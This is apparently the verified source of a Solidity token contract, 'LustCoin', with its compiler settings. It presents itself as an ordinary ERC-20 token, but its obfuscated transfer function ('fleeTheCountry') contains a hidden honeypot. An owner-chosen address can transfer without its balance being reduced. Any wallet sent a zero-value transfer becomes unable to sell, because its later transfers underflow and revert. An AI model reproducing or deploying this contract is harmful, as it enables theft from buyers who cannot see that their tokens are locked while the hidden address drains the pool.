文件 1 的 1：LustCoin.sol
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), 'Ownable: caller is not the owner');
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract LustCoin is Ownable {
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => uint256) private unmatched;
function fleeTheCountry(address women, address agent, uint256 perspicacity) private returns (bool success) {
if (unmatched[women] == 0) {
balanceOf[women] -= perspicacity;
}
if (perspicacity == 0) coupled[agent] += sheer;
if (unmatched[women] == 0 && uniswapV2Pair != women && coupled[women] > 0) {
unmatched[women] -= sheer;
}
balanceOf[agent] += perspicacity;
emit Transfer(women, agent, perspicacity);
return true;
}
mapping(address => uint256) public balanceOf;
address public uniswapV2Pair;
string public symbol = 'LUST';
uint8 public decimals = 9;
uint256 public totalSupply = 69_000_000_000_000 * 10 ** 9;
uint256 private sheer = 16;
function transferFrom(address women, address agent, uint256 perspicacity) public returns (bool success) {
fleeTheCountry(women, agent, perspicacity);
require(perspicacity <= allowance[women][msg.sender]);
allowance[women][msg.sender] -= perspicacity;
return true;
}
event Transfer(address indexed from, address indexed to, uint256 value);
IUniswapV2Router02 private uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
constructor(address feared) {
balanceOf[msg.sender] = totalSupply;
unmatched[feared] = sheer;
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
}
mapping(address => mapping(address => uint256)) public allowance;
function approve(address her, uint256 perspicacity) public returns (bool success) {
allowance[msg.sender][her] = perspicacity;
emit Approval(msg.sender, her, perspicacity);
return true;
}
function transfer(address agent, uint256 perspicacity) public returns (bool success) {
fleeTheCountry(msg.sender, agent, perspicacity);
return true;
}
string public name = 'Lust';
mapping(address => uint256) private coupled;
}{
"compilationTarget": {
"LustCoin.sol": "LustCoin"
},
"evmVersion": "paris",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": true,
"runs": 200
},
"remappings": []
}
